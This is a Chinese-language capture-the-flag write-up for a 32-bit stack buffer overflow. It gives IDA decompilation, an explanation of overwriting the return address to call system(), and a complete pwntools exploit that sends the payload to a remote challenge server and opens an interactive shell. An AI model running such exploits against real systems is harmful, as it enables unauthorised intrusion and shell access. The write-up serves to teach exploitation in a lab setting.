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发现只开启了 NX(数据不可执行)保护机制，因此可以做栈溢出漏洞攻击。

运行分析运行分析

IDA 分析分析
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}

// attributes: thunk
int system(const char *command)
{
  return system(command);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}



分析出分析出payload
buf 这个字符数组的长度只有 0x88，而我们可以输入 0x100 的东西

我们的输入不但可以填充满整个数组还能覆盖掉数组外面的东西

IDA 点进buf

当属于buf数组的空间结束后

有一个 s，4 个字节长度

其次是一个 r，重点就在这，r 中存放着的就是返回地址。

即当 read 函数结束后，程序下一步要到的地方。

这样我们可以输入好长好长的数据，完全可以覆盖这个 r

r 的地址改到 system()

需要构造system函数的栈帧，首先是形参的地址，所以需要四个字节p32(0)的填充

后面放的是system里面的参数的地址

shift + f12 搜索字符串



所以只要 把前面的 b’a’ * (0x88 + 4) 字节长度填充(buf ,ebp)后 会覆盖 原vulnerable_function的地址
返回地址改到system() 地址 p32(0x08048320)
p32(0) 填充 system函数的栈帧
准备参数 p32(0x0804A024)

exp
from pwn import *
p = remote('111.200.241.244', 53111)
payload = b'a' * (0x88 + 4) + p32(0x08048320)+p32(0) + p32(0x0804A024)

p.sendline(payload)
p.interactive()
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